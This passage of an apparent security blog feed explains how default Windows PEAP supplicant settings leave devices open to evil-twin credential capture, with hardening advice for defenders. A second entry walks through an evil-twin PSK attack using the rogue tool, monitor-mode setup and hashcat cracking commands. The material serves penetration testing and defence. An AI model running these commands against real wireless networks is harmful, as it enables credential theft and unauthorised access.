          <li><a href="#select-authentication-method" id="markdown-toc-select-authentication-method">Select Authentication Method</a></li>
          <li><a href="#enable-identity-privacy" id="markdown-toc-enable-identity-privacy">Enable Identity Privacy</a></li>
        </ul>
      </li>
      <li><a href="#advanced-settings-window" id="markdown-toc-advanced-settings-window">Advanced settings Window</a>        <ul>
          <li><a href="#specify-authentication-mode" id="markdown-toc-specify-authentication-mode">Specify authentication mode</a></li>
        </ul>
      </li>
    </ul>
  </li>
  <li><a href="#difference-between-user-authentication-and-computer-authentication" id="markdown-toc-difference-between-user-authentication-and-computer-authentication">Difference between user authentication and computer authentication</a></li>
  <li><a href="#supplicant-behaviour" id="markdown-toc-supplicant-behaviour">Supplicant Behaviour</a>    <ul>
      <li><a href="#eap-identity-leakage" id="markdown-toc-eap-identity-leakage">EAP identity leakage</a></li>
      <li><a href="#when-will-the-supplicant-not-attempt-to-validate-the-radius-server-identity" id="markdown-toc-when-will-the-supplicant-not-attempt-to-validate-the-radius-server-identity">When will the supplicant not attempt to validate the RADIUS server identity</a></li>
      <li><a href="#how-does-a-supplicant-decide-which-radius-server-to-use" id="markdown-toc-how-does-a-supplicant-decide-which-radius-server-to-use">How does a supplicant decide which RADIUS server to use</a></li>
      <li><a href="#how-does-a-supplicant-decide-if-a-radius-server-identity-is-trusted" id="markdown-toc-how-does-a-supplicant-decide-if-a-radius-server-identity-is-trusted">How does a supplicant decide if a RADIUS server identity is trusted</a></li>
      <li><a href="#when-will-the-user-be-notified-that-the-radius-server-validation-failed" id="markdown-toc-when-will-the-user-be-notified-that-the-radius-server-validation-failed">When will the user be notified that the RADIUS server validation failed</a></li>
    </ul>
  </li>
  <li><a href="#conclusion-for-the-blue" id="markdown-toc-conclusion-for-the-blue">Conclusion for the blue</a></li>
  <li><a href="#conclusion-for-the-red" id="markdown-toc-conclusion-for-the-red">Conclusion for the red</a></li>
</ul>
<h2 id="tldr---understanding-the-perfect-storm-of-default-settings">TL;DR - Understanding the perfect storm of default settings</h2>

<p>Windows devices remain vulnerable to an adversary’s evil twin attack, when left with the default wireless supplicant settings:</p>
<ul>
  <li>the <strong>“Verify the Server’s identity by validating the certificate”</strong> setting, ticked by default, tells the supplicant not to accept a self-signed certificate from a RADIUS server as validation,</li>
  <li>the <strong>“Connect to these servers”</strong> setting, <strong><em>blank</em></strong> by default, is telling the supplicant the specific name of the RADIUS server to use for authentication,</li>
  <li>the <strong>“Trusted Root Certification Authorities”</strong> list, none selected by default, is used to specify the trusted root certificate authorities (CA) certificate used to validate the RADIUS server’s presented certificate.</li>
</ul>

<p class="TL;DR">All of which accumulates in a condition in which a supplicant will use <strong><em>ANY</em></strong> trusted root CA to validate <strong><em>ANY</em></strong> RADIUS server for authentication. The <a href="https://blog.infamoussyn.com/posts/wifi/2023/02/12/cracking_wpa2-eap_wlan_perimeters_with_evil_twin_attacks.html#the-advance-evil-twin-eap-peap-attack">advance Evil Twin EAP-PEAP attack</a> technique demonstrates how an adversary could exploit the default settings to coerce user credentials from their target, without <strong><em>ANY</em></strong> notification, leaving the user none the wiser that they have just connected to a malicious WLAN.</p>

<hr />

<h1 id="introduction">Introduction</h1>

<p>The Microsoft <a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh945104(v=ws.11)#protected-eap-properties-configuration-items">Extensible Authentication Protocol (EAP) Settings for Network Access</a> article is a great tool to understanding all the various settings and purpose, however it does lack the adversarial implication context (simply because was not meant to serve such purpose). This article is aimed to overlay that context to help readers understand the risks and the ideal configuration. However, before applying the adversarial context in this blogpost, this article will summarise the settings and their purpose.</p>

<h1 id="windows-supplicant-properties">Windows Supplicant Properties</h1>

<p>The following image is a macro-level view of the Windows supplicant Protected EAP (PEAP) properties with a brief explanation based on the Microsoft documentation:</p>

<p><img src="/assets/img/2023-04-07-Understanding-PEAP-settings-in-windows/protected eap properties.png" alt="" /></p>

<h2 id="protected-eap-properties-window">Protected EAP Properties Window</h2>

<h3 id="verify-the-servers-identity-by-validating-the-certificate">Verify the Server’s identity by validating the certificate</h3>
<p>This setting is used to specify whether the device will attempt to validate the RADIUS server’s identity or not.</p>

<p><strong>Default State:</strong> Enabled.</p>

<h3 id="connect-to-these-servers">Connect to these servers</h3>
<p>This setting is used to explicitly specify the name of the RADIUS server that the device will use to authenticate itself to the WLAN. If no named RADIUS server is specified, the device will use the WLAN supplied RADIUS server (essentially meaning <strong><em>ANY</em></strong> RADIUS server).</p>

<p><strong>Default State:</strong> Not enabled, blank.</p>

<h3 id="trusted-root-certification-authorities">Trusted Root Certification Authorities</h3>
<p>List of all installed trusted root certificate authority (CA) certificates. An explicit CA can be selected to use in validating the identity of the RADIUS server.</p>

<p><strong>Default State:</strong> None explicitly selected.</p>

<h3 id="notification-before-connecting">Notification before connecting</h3>
<p>Specifies whether the user is notified if the server name or root certificate is not specified, or whether the server’s identity cannot be verified. There are three options:</p>

<ol>
  <li><strong>“Do not ask user to authorize new servers or trusted CAs”:</strong> This option has the following logic gates and behaviour:
    <ul>
      <li>The server name is not in the <strong>“Connect to these servers”</strong> list</li>
      <li>or the root certificate is found but is not selected in the list of Trusted Root Certification Authorities in PEAP Properties</li>
      <li>or the root certificate is not found on the computer
 then the user is not notified, and the connection attempt fails.</li>
    </ul>
  </li>
  <li><strong>“Tell user if the server name or root certificate is not specified”:</strong> This option has the following logic gates and behaviour:
    <ul>
      <li>The server name is not in the <strong>“Connect to these servers”</strong> list</li>
      <li>or the root certificate is found but is not selected in the list of Trusted Root Certification Authorities in PEAP Properties
 then the user is prompted whether to accept the root certificate. If the user accepts the certificate, authentication proceeds. If the user rejects the certificate, the connection attempt fails.</li>
    </ul>
  </li>
  <li><strong>“Tell user if the server’s identity cannot be verified”:</strong> This option has the following logic gates and behaviour:
    <ul>
      <li>the server name is not in the <strong>“Connect to these servers”</strong> list</li>
      <li>or the root certificate is found but is not selected in the list of Trusted Root Certification Authorities in PEAP Properties</li>
      <li>or the root certificate is not found on the computer
 then the user is prompted whether to accept the root certificate. If the user accepts the certificate, authentication proceeds. If the user rejects the certificate, the connection attempt fails.</li>
    </ul>
  </li>
</ol>

<p><strong>Default State:</strong> “Tell user if the server’s identity cannot be verified”</p>

<h3 id="select-authentication-method">Select Authentication Method</h3>
<p>Specifies the inner authentication mode (Phase 2) for the PEAP connection. There are two options:</p>

<ol>
  <li>Secure password (EAP-MSCHAP v2) Properties configuration items, referred to as (EAP-PEAP-MSCHAP or EAP/PEAP/MSCHAP)</li>
  <li>Smart Card or other Certificate Properties configuration items, referred to as (EAP-PEAP-TLS or EAP/TLS)</li>
</ol>

<p><strong>Default State:</strong> “Secured password (EAP-MSCHAP v2)”</p>

<h3 id="enable-identity-privacy">Enable Identity Privacy</h3>
<p>Specifies whether the client is to not include the identity in Phase 1 of the PEAP authentication workflow.</p>

<p><strong>Default State:</strong> Not enabled</p>

<h2 id="advanced-settings-window">Advanced settings Window</h2>

<h3 id="specify-authentication-mode">Specify authentication mode</h3>
<p>This setting allows an organisation to toggle between what type of credentials will be supplied by the device to the RADIUS server, this is not to say that the RADIUS server is expecting that type of credentials. There are three modes to choose from:</p>

<ol>
  <li>
    <p><strong>“User or computer authentication”:</strong> This mode allows the wireless client to authenticate with the authentication server using either the user’s credentials or the computer’s credentials.</p>
  </li>
  <li>
    <p><strong>“User authentication”:</strong> This mode only allows the wireless client to authenticate using the user’s credentials. The computer’s credentials are not used for authentication.</p>
  </li>
  <li>
    <p><strong>“Computer authentication”:</strong> This mode only allows the wireless client to authenticate using the computer’s credentials. The user’s credentials are not used for authentication.</p>
  </li>
</ol>

<p><strong>Default State:</strong> “User or computer authentication”</p>

<hr />

<h1 id="difference-between-user-authentication-and-computer-authentication">Difference between user authentication and computer authentication</h1>
<ul>
  <li><strong>User authentication:</strong> user credentials, such as username and password will be for authentication. However, this does not mean that an user certificate can’t be used for authentication, such as when the “Select Authentication Method” setting has been set to “Smart Card or other certificate”.</li>
  <li><strong>Computer authentication:</strong> Also known as machine authentication, means that a certificate loaded into the device will be used for authentication</li>
</ul>

<hr />

<h1 id="supplicant-behaviour">Supplicant Behaviour</h1>

<h2 id="eap-identity-leakage">EAP identity leakage</h2>

<p>The default EAP privacy settings will mean that the EAP identity of the device will also be leaked in Phase 1. However the identity with vary between usernames (if the supplicant is authenticating using user credentials), or hostnames (if the supplicant is authentication using computer credentials). Tools such as <a href="https://github.com/InfamousSYN/identityATTACK">identityATTACK</a> can monitor for leaked identities to the fire automated brute force attacks against the WLAN in other to breach the perimeter, regardless of whether the device connected to the any Evil Twin infrastructure that might be deployed within the vicinity.</p>

<p>Through the identity leakage, an adversary can determine whether or not it would be possible to use tools such as <a href="https://github.com/InfamousSYN/rogue">rogue</a> to capture network credentials. This would be achieved by inferring whether the <strong>“Select Authentication Method”</strong> setting is set to <strong>“Secured password (EAP-MSCHAP v2)”</strong> or not, based on whether the adversary sees usernames instead of hostnames. If they see usernames, then they know that there are user credentials to be captured.</p>

<p>At which point, the step for the adversary is determining which version of the Evil Twin EAP-PEAP attack is needed based on understanding whether the supplicant will attempt to validate the RADIUS server’s identity, see below.</p>

<h2 id="when-will-the-supplicant-not-attempt-to-validate-the-radius-server-identity">When will the supplicant not attempt to validate the RADIUS server identity</h2>
<p>If the <strong>“Verify the Server’s identity by validating the certificate”</strong> setting is unticked (therefore disabled), the supplicant <strong>will NOT</strong> attempt to validate the RADIUS server’s identity before transmitting credentials. The <a href="https://blog.infamoussyn.com/posts/wifi/2023/02/12/cracking_wpa2-eap_wlan_perimeters_with_evil_twin_attacks.html#the-basic-evil-twin-eap-peap-attack">basic Evil Twin EAP-PEAP attack</a> technique can be used to exploit this condition as the supplicant will not reject the self-signed certificate that would be presented by <a href="https://github.com/InfamousSYN/rogue">rogue</a>.</p>

<p>If the <strong>“Verify the Server’s identity by validating the certificate”</strong> setting is ticked (therefore enabled), the supplicant <strong>WILL</strong> attempt to validate the RADIUS server’s identity before transmitting credentials. The <a href="https://blog.infamoussyn.com/posts/wifi/2023/02/12/cracking_wpa2-eap_wlan_perimeters_with_evil_twin_attacks.html#the-advance-evil-twin-eap-peap-attack">advance Evil Twin EAP-PEAP attack</a> technique can be used to exploit this condition, however successfulness will vary depending on the following conditions:</p>
<ul>
  <li>Has a specific trusted root CA been selected</li>
  <li>Is the RADIUS server’s certificate signed by the appropriate trusted root CA</li>
</ul>

<h2 id="how-does-a-supplicant-decide-which-radius-server-to-use">How does a supplicant decide which RADIUS server to use</h2>

<p>Ultimately, based on the <strong>“Connect to these servers”</strong> setting. If the setting is blank, the supplicant will use <strong><em>ANY</em></strong> RADIUS server presented by the WLAN for authentication.</p>

<h2 id="how-does-a-supplicant-decide-if-a-radius-server-identity-is-trusted">How does a supplicant decide if a RADIUS server identity is trusted</h2>

<p>Ultimately, based on the <strong>“Trusted Root Certification Authorities”</strong> the supplicant will check to see if the presented RADIUS server certificate has been by the selected trusted root CA(s). If none has been selected, then it will check to see if the certificate has been signed by <strong><em>ANY</em></strong> of the trusted root CA(s).</p>

<p>This <strong><em>ANY</em></strong> trusted root CA(s) logic builds upon the <a href="https://blog.infamoussyn.com/posts/wifi/2023/04/07/Understanding-PEAP-settings-in-windows.html#how-does-a-supplicant-decide-which-radius-server-to-use">How does a supplicant decide which RADIUS server to use</a> logic to create a default condition; where as no RADIUS server is listed, and no specific trusted root CA is selected, means the supplicant will connect to a WLAN that uses <strong><em>ANY</em></strong> RADIUS server that presents a certificate signed by <strong><em>ANY</em></strong> trusted root CA.</p>

<p>If the server’s certificate is not issued by a trusted CA or the RADIUS server name does not match the expected value, the authentication process will fail, and the client will not be able to access the WLAN.</p>

<h2 id="when-will-the-user-be-notified-that-the-radius-server-validation-failed">When will the user be notified that the RADIUS server validation failed</h2>

<p>The below table breaks down all the different conditions in which the <strong>“Connect to these servers”</strong> setting and the <strong>“Trusted Root Certification Authorities”</strong> list can be configured, and their validation workflow result when an adversary is performing an <a href="https://blog.infamoussyn.com/posts/wifi/2023/02/12/cracking_wpa2-eap_wlan_perimeters_with_evil_twin_attacks.html#the-advance-evil-twin-eap-peap-attack">advance Evil Twin EAP-PEAP attack</a>. In the advance attack, the adversary has a certificate that has a legitimate chain that can be traced back to a trusted root CA. The condition in which an adversary has a self-signed certificate is being ignored because the default the <strong>“Verify the Server’s identity by validating the certificate”</strong> setting will result in a validation failure.</p>

<p class="note">It is assumed in the below table that the malicious RADIUS server’s name will not match the specified server name in the <strong>“Connect to these servers”</strong> setting list.</p>

<table>
  <thead>
    <tr>
      <th>No.</th>
      <th>Notification Setting Value</th>
      <th>“Connect to these servers” field</th>
      <th>“Trusted Root Certification Authorities” list</th>
      <th>Adversary Certificate</th>
      <th>Result</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>1</td>
      <td>“Do not ask user to authorize new servers or trusted CAs”</td>
      <td>Blank</td>
      <td>None Selected</td>
      <td>Certificate signed by arbitrary trusted root CA</td>
      <td>validation passes, the supplicant will connect to the malicious WLAN without notifying the user</td>
    </tr>
    <tr>
      <td>2</td>
      <td>“Do not ask user to authorize new servers or trusted CAs”</td>
      <td>Not Blank</td>
      <td>None Selected</td>
      <td>Certificate signed by arbitrary trusted root CA</td>
      <td>validation fails, due to the assumed RADIUS server name mismatch. The supplicant will reject, without notifying the user, the attempted connection to the malicious WLAN.</td>
    </tr>
    <tr>
      <td>3</td>
      <td>“Do not ask user to authorize new servers or trusted CAs”</td>
      <td>Blank</td>
      <td>Selected</td>
      <td>Certificate signed by non-selected trusted root CA</td>
      <td>validation fails, due to the certificate not being signed by trusted root CA. The supplicant will reject, without notifying the user, the attempted connection to the malicious WLAN.</td>
    </tr>
    <tr>
      <td>4</td>
      <td>“Do not ask user to authorize new servers or trusted CAs”</td>
      <td>Blank</td>
      <td>Selected</td>
      <td>Certificate signed by selected trusted root CA</td>
      <td>validation passes, the supplicant will connect as the certificate can be used to validate any RADIUS server.</td>
    </tr>
    <tr>
      <td>5</td>
      <td>“Tell user if the server name or root certificate is not specified”</td>
      <td>Blank</td>
      <td>None Selected</td>
      <td>Certificate signed by arbitrary trusted root CA</td>
      <td>validation passes, the supplicant will connect to the malicious WLAN without notifying the user as the setting does not affect the behavior when a trusted root CA is used.</td>
    </tr>
    <tr>
      <td>6</td>
      <td>“Tell user if the server name or root certificate is not specified”</td>
      <td>Not Blank</td>
      <td>None Selected</td>
      <td>Certificate signed by arbitrary trusted root CA</td>
      <td>validation fails, due to the assumed RADIUS server name mismatch. The supplicant will notify the user the validation has failed; the user will be given the option to proceed with the connection or reject the connection.</td>
    </tr>
    <tr>
      <td>7</td>
      <td>“Tell user if the server name or root certificate is not specified”</td>
      <td>Blank</td>
      <td>Selected</td>
      <td>Certificate signed by non-selected trusted root CA</td>
      <td>validation fails, due to the certificate not being signed by trusted root CA. The supplicant will notify the user the validation has failed; the user will be given the option to proceed with the connection or reject the connection.</td>
    </tr>
    <tr>
      <td>8</td>
      <td>“Tell user if the server name or root certificate is not specified”</td>
      <td>Blank</td>
      <td>Selected</td>
      <td>Certificate signed by selected trusted root CA</td>
      <td>validation passes, the supplicant will connect as the certificate can be used to validate any RADIUS server.</td>
    </tr>
    <tr>
      <td>9</td>
      <td>“Tell user if the server’s identity cannot be verified”</td>
      <td>Blank</td>
      <td>None Selected</td>
      <td>Certificate signed by arbitrary trusted root CA</td>
      <td>validation passes, the supplicant will connect to the malicious WLAN without notifying the user as the setting does not affect the behavior when a trusted root CA is used.</td>
    </tr>
    <tr>
      <td>10</td>
      <td>“Tell user if the server’s identity cannot be verified”</td>
      <td>Not Blank</td>
      <td>None Selected</td>
      <td>Certificate signed by arbitrary trusted root CA</td>
      <td>validation fails, due to the assumed RADIUS server name mismatch. The supplicant will notify the user the validation has failed; the user will be given the option to proceed with the connection or reject the connection.</td>
    </tr>
    <tr>
      <td>11</td>
      <td>“Tell user if the server’s identity cannot be verified”</td>
      <td>Blank</td>
      <td>Selected</td>
      <td>Certificate signed by non-selected trusted root CA</td>
      <td>validation fails, due to the certificate not being signed by trusted root CA. The supplicant will notify the user the validation has failed; the user will be given the option to proceed with the connection or reject the connection.</td>
    </tr>
    <tr>
      <td>12</td>
      <td>“Tell user if the server’s identity cannot be verified”</td>
      <td>Blank</td>
      <td>Selected</td>
      <td>Certificate signed by selected trusted root CA</td>
      <td>validation passes, the supplicant will connect as the certificate can be used to validate any RADIUS server.</td>
    </tr>
  </tbody>
</table>

<p class="note">The above option behaviour would be triggered based on the outcome of the <a href="https://blog.infamoussyn.com/posts/wifi/2023/04/07/Understanding-PEAP-settings-in-windows.html#when-will-the-supplicant-not-attempt-to-validate-the-radius-server-identity">When will the supplicant not attempt to validate the RADIUS server identity</a> section.</p>

<hr />

<h1 id="conclusion-for-the-blue">Conclusion for the blue</h1>

<p>The takeaway for the blue team is that when a Windows supplicant has been partially configured, as described in the above table, there are still 6 different failed verification conditions which allow an adversary to successfully deploy an evil twin and coerce credentials. This begs the question of ‘well ok, then what does the most hardened configuration look like then?’; simply it is:</p>
<ul>
  <li>the <strong>“Verify the Server’s identity by validating the certificate”</strong> setting, ticked by default,</li>
  <li>the <strong>“Connect to these servers”</strong> setting has the organisation’s RADIUS server specified by name,</li>
  <li>the <strong>“Trusted Root Certification Authorities”</strong> list, the organisation has specified a specific trusted root CA to validate the RADIUS server’s identity (*),</li>
  <li>the <strong>“Notifications before connecting:”</strong> setting is set to <strong>“Do not ask user to authorize new servers or trusted CAs”</strong>.</li>
</ul>

<p class="note">(*) The selected trusted root CA cannot be the ISRG Root X1 certificate and still maintain hardened configuration. Adversaries would be free to use the <a href="https://letsencrypt.org/certificates/">Let’s Encrypt</a> service to generate valid certificate that would pass validation.</p>

<p><img src="/assets/img/2023-04-07-Understanding-PEAP-settings-in-windows/example of hardened eap-peap-mschap settings.png" alt="" /></p>

<p>With this configuration, if the adversary cannot deploy an evil twin with a RADIUS server by the name as specified <strong>AND</strong> cannot provide validation of the RADIUS server’s identity with correct trusted CA certificate, then the validation will fail. At which point, the <strong>“Do not ask user to authorize new servers or trusted CAs”</strong> setting will prevent the user from being prompted to accept the identity anyways; which would of had resulted in the credentials being coerced still.</p>

<h1 id="conclusion-for-the-red">Conclusion for the red</h1>

<p>While there are 6 different conditions which would result in a failed verification, there are also 6 conditions which would allow the adversary to successfully pass verification to coerce the credentials. To exploit the 6 different passable verification conditions, the <a href="https://blog.infamoussyn.com/posts/wifi/2023/02/12/cracking_wpa2-eap_wlan_perimeters_with_evil_twin_attacks.html#the-advance-evil-twin-eap-peap-attack">advance Evil Twin EAP-PEAP attack</a> technique will yield the credentials when using a tools such as <a href="https://github.com/InfamousSYN/rogue">rogue</a>.</p>

<p>However, this is not to say that this is the only technique that could get by the verification process. Watch closely for more future technique drops…</p>]]></content><author><name>InfamousSYN</name><email>ainfamoussyn@gmail.com</email></author><category term="posts" /><category term="wifi" /><category term="wifi" /><summary type="html"><![CDATA[Understanding the various Windows supplicant settings and their security implications]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blog.infamoussyn.com/assets/img/2023-04-07-Understanding-PEAP-settings-in-windows/EAP%20Settings%20for%20Network%20Access.PNG" /><media:content medium="image" url="https://blog.infamoussyn.com/assets/img/2023-04-07-Understanding-PEAP-settings-in-windows/EAP%20Settings%20for%20Network%20Access.PNG" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Cracking PSK WLAN perimeters with Evil Twin attacks</title><link href="https://blog.infamoussyn.com/posts/wifi/2023/02/12/cracking_psk_wlan_perimeters_with_evil_twin_attacks.html" rel="alternate" type="text/html" title="Cracking PSK WLAN perimeters with Evil Twin attacks" /><published>2023-02-12T00:00:00+00:00</published><updated>2023-02-12T00:00:00+00:00</updated><id>https://blog.infamoussyn.com/posts/wifi/2023/02/12/cracking_psk_wlan_perimeters_with_evil_twin_attacks</id><content type="html" xml:base="https://blog.infamoussyn.com/posts/wifi/2023/02/12/cracking_psk_wlan_perimeters_with_evil_twin_attacks.html"><![CDATA[<ul id="markdown-toc">
  <li><a href="#foreword" id="markdown-toc-foreword">Foreword</a></li>
  <li><a href="#background" id="markdown-toc-background">Background</a></li>
  <li><a href="#evil-twin-psk-attack" id="markdown-toc-evil-twin-psk-attack">Evil Twin PSK attack</a>    <ul>
      <li><a href="#tools-required" id="markdown-toc-tools-required">Tools required</a></li>
      <li><a href="#hardware-required" id="markdown-toc-hardware-required">Hardware required</a></li>
      <li><a href="#conducting-the-evil-twin-psk-attack" id="markdown-toc-conducting-the-evil-twin-psk-attack">Conducting the Evil Twin PSK attack</a></li>
    </ul>
  </li>
</ul>

<h2 id="foreword">Foreword</h2>

<p>In the world of Wi-Fi attacks, the Evil Twin is a prominate attack used to coerce an unsuspecting to send their credentials to the adversary. It is a type of Wi-Fi phishing attack that tricks users into connecting to a malicious wireless access point (AP) that is designed to mimic a legitimate one, at which point the credentials are sent. Ultimately, this attack is possible because users interact with a WLAN via the SSID, all the adversary has to do typically is mimic the SSID, and then users will connect to their malicious AP. This is further compounded by the default behaviour of user devices, which will automatically probe for and join previously connected WLAN that are stored in their wireless network lists.</p>

<p>This post will cover conductin[g an Evil Twin attack against a Pre-Shared Key (PSK) WLAN, and while in the recent <a href="/posts/wifi/2023/01/22/cracking-wep-wpa2-wireless-encryption-redux">Cracking WEP &amp; WPA2-PSK Wireless Encryption Redux</a>, I covered performing deauthentication attacks to coerce a user device to retransmit the PSK to capture it; using Evil Twin attacks is my true goto method for capturing PSKs. The reason is simple, unlike with the deauthentication attack, the Evil Twin attack can be performed whether the user device is, regardless of whether the legitimate AP is nearby.</p>

<p>This may all sound very similar to the <a href="/posts/wifi/2023/01/22/cracking-wep-wpa2-wireless-encryption-redux#wep-caffe-latte">WEP Caffe Latte attack</a>, and it is. The concept is the same, but now it is being transferred across to the WPA/WPA2 security protocols.</p>

<h2 id="background">Background</h2>

<p>It is possible to use the Evil Twin attack against a PSK WLAN because while the four-way handshake is mutual-authentication between the user device (client) and the AP:</p>
<ul>
  <li>the client is the first node to attempt to provide it knows the PSK</li>
  <li>the AP verifies that the client’s sent PSK matches the PSK within its own stores, then proves to the client it knows the PSK</li>
</ul>

<p>Below is a simple overview of the four-way handshake, with the circled messages at the the top representing the client proving it knows the PSK and the messages circled on the bottom representing the AP providing it knows the PSK.</p>

<p><img src="/assets/img/2023-02-12-cracking_psk_wlan_perimeters_with_evil_twin_attacks/characteristics of the four-way handshake.png" alt="" /></p>

<p>When conducting an ET PSK attack, the adversary deploys their own AP with a random PSK value, and then the client connects and sends what they expect the PSK to be. As the two PSK values are not expected to match, the AP will reject the sent PSK with a mismatch error. However, the real PSK value would have been transmitted by the client (assuming no typing errors). The adversary captures the 1st two messages of the four-way handshake, and then can perform the standard PSK brute forcing techniques using hashcat and alike.</p>

<h2 id="evil-twin-psk-attack">Evil Twin PSK attack</h2>

<h3 id="tools-required">Tools required</h3>
<ul>
  <li><code class="language-plaintext highlighter-rouge">wireshark</code></li>
  <li><code class="language-plaintext highlighter-rouge">iwconfig</code></li>
  <li><code class="language-plaintext highlighter-rouge">rogue</code></li>
  <li><code class="language-plaintext highlighter-rouge">hcxpcapngtool</code> (<code class="language-plaintext highlighter-rouge">hcxtools</code>)</li>
  <li><code class="language-plaintext highlighter-rouge">hashcat</code></li>
</ul>

<h3 id="hardware-required">Hardware required</h3>
<ul>
  <li>two wireless adaptor, I’ll be using two ALFA 1900 ( chipset: <code class="language-plaintext highlighter-rouge">RTL8814AU</code> ). One of the interfaces will be in monitor mode.</li>
</ul>

<h3 id="conducting-the-evil-twin-psk-attack">Conducting the Evil Twin PSK attack</h3>

<p>As the AP only needs to send an <code class="language-plaintext highlighter-rouge">ANonce</code> in the EAPOL message 1 (M1), an adversary can set up a malicious AP with any PSK value. When a client connects, the AP transmits the <code class="language-plaintext highlighter-rouge">ANounce</code> and the client returns the encrypted <code class="language-plaintext highlighter-rouge">ANounce</code>, after encrypting it with what it thinks the PSK is. The returned message is the Pairwise Transient Key (PTK). Using the below example command, <a href="https://github.com/InfamousSYN/rogue"><code class="language-plaintext highlighter-rouge">rogue</code></a> can conduct an evil twin PSK attack.</p>

<pre><code class="language-Bash">sudo python3 /opt/rogue/rogue.py -i wlan0 --auth wpa-personal --wpa 2 --wpa-passphrase "test test" --internet --country AU --preset-profile wifi4 -c 2 --disable-short160
</code></pre>

<p><img src="/assets/img/2023-02-12-cracking_psk_wlan_perimeters_with_evil_twin_attacks/rogue - evil twin psk attack - deploy.png" alt="" /></p>

<p>After standing up <code class="language-plaintext highlighter-rouge">rogue</code>, using a second interface, configure it as a monitor interface and then attach it to <code class="language-plaintext highlighter-rouge">wireshark</code>. To ensure that <code class="language-plaintext highlighter-rouge">Network Manager</code> does not disrupt any attacks in-progress by changing the interface from monitor or master mode back to managed mode, use the following command:</p>

<pre><code class="language-Bash">sudo nmcli dev set INTERFACE managed no
</code></pre>

<p>Once the interface is not longer controlled, the interface can be placed into monitor mode without <code class="language-plaintext highlighter-rouge">Network Manager</code>’s interference.</p>

<pre><code class="language-Bash">sudo iwconfig INTERFACE mode Monitor
</code></pre>

<p>Then set the monitor interface to match the <code class="language-plaintext highlighter-rouge">rogue</code> interface.</p>

<pre><code class="language-Bash">sudo iwconfig channel 2
</code></pre>

<p>When after a client transmits the PTK, <code class="language-plaintext highlighter-rouge">rogue</code> will review and determine that the sent PSK does not match the configured PSK; resulting in a PSK mismatch error, as shown below.</p>

<p><img src="/assets/img/2023-02-12-cracking_psk_wlan_perimeters_with_evil_twin_attacks/rogue - evil twin psk attack - psk mismatch.png" alt="" /></p>

<p>However in <code class="language-plaintext highlighter-rouge">wireshark</code>, the 1st two EAPOL messages can be seen; as shown below.</p>

<p><img src="/assets/img/2023-02-12-cracking_psk_wlan_perimeters_with_evil_twin_attacks/wireshark - captured client PTK.png" alt="" /></p>

<p>The next step is to export the EAPOL messages, and a Beacon or Probe Response frame for the target SSID to a PCAP file, as show below.</p>

<p><img src="/assets/img/2023-02-12-cracking_psk_wlan_perimeters_with_evil_twin_attacks/wireshark - export the ptk.png" alt="" /></p>

<p>Then using <code class="language-plaintext highlighter-rouge">hcxpcapngtool</code>, convert the PCAP file to a format usible by <code class="language-plaintext highlighter-rouge">hashcat</code>, using the following command example.</p>

<pre><code class="language-Bash">hcxpcapngtool m1m2.pcap -o m1m2.22000
</code></pre>

<p><img src="/assets/img/2023-02-12-cracking_psk_wlan_perimeters_with_evil_twin_attacks/hcxpcapngtool.png" alt="" /></p>

<p>Once the converted file has been created, simply use <code class="language-plaintext highlighter-rouge">hashcat</code> to attempt to crack the PSK used to derive the captured PTK.</p>

<pre><code class="language-Bash">echo "thisistherealpsk" | hashcat -m 22000 m1m2.22000 --quiet
</code></pre>

<p><img src="/assets/img/2023-02-12-cracking_psk_wlan_perimeters_with_evil_twin_attacks/hashcat.png" alt="" /></p>]]></content><author><name>InfamousSYN</name><email>ainfamoussyn@gmail.com</email></author><category term="posts" /><category term="wifi" /><category term="wifi" /><summary type="html"><![CDATA[Coercing the PSK from a device without deauthentication attacks]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blog.infamoussyn.com/assets/img/2023-02-12-cracking_psk_wlan_perimeters_with_evil_twin_attacks/rogue%20-%20evil%20twin%20psk%20attack%20-%20psk%20mismatch.png" /><media:content medium="image" url="https://blog.infamoussyn.com/assets/img/2023-02-12-cracking_psk_wlan_perimeters_with_evil_twin_attacks/rogue%20-%20evil%20twin%20psk%20attack%20-%20psk%20mismatch.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Cracking WPA2-EAP WLAN perimeters with Evil Twin attacks</title><link href="https://blog.infamoussyn.com/posts/wifi/2023/02/12/cracking_wpa2-eap_wlan_perimeters_with_evil_twin_attacks.html" rel="alternate" type="text/html" title="Cracking WPA2-EAP WLAN perimeters with Evil Twin attacks" /><published>2023-02-12T00:00:00+00:00</published><updated>2023-02-12T00:00:00+00:00</updated><id>https://blog.infamoussyn.com/posts/wifi/2023/02/12/cracking_wpa2-eap_wlan_perimeters_with_evil_twin_attacks</id><content type="html" xml:base="https://blog.infamoussyn.com/posts/wifi/2023/02/12/cracking_wpa2-eap_wlan_perimeters_with_evil_twin_attacks.html"><![CDATA[<ul id="markdown-toc">
  <li><a href="#foreword" id="markdown-toc-foreword">Foreword</a></li>
  <li><a href="#the-basic-evil-twin-eap-peap-attack" id="markdown-toc-the-basic-evil-twin-eap-peap-attack">The basic Evil Twin EAP-PEAP attack</a>    <ul>
      <li><a href="#tools-required" id="markdown-toc-tools-required">Tools required</a></li>
      <li><a href="#hardware-required" id="markdown-toc-hardware-required">Hardware required</a></li>
      <li><a href="#conducting-the-basic-evil-twin-eap-peap-mschap-attack" id="markdown-toc-conducting-the-basic-evil-twin-eap-peap-mschap-attack">Conducting the basic Evil Twin EAP-PEAP-MSCHAP attack</a></li>
    </ul>
  </li>
  <li><a href="#the-advance-evil-twin-eap-peap-attack" id="markdown-toc-the-advance-evil-twin-eap-peap-attack">The advance Evil Twin EAP-PEAP attack</a>    <ul>
      <li><a href="#tools-required-1" id="markdown-toc-tools-required-1">Tools required</a></li>
      <li><a href="#hardware-required-1" id="markdown-toc-hardware-required-1">Hardware required</a></li>
      <li><a href="#conducting-the-advance-evil-twin-eap-peap-mschap-attack" id="markdown-toc-conducting-the-advance-evil-twin-eap-peap-mschap-attack">Conducting the advance Evil Twin EAP-PEAP-MSCHAP attack</a>        <ul>
          <li><a href="#looking-at-the-hardened-client-behaviour" id="markdown-toc-looking-at-the-hardened-client-behaviour">Looking at the hardened client behaviour</a></li>
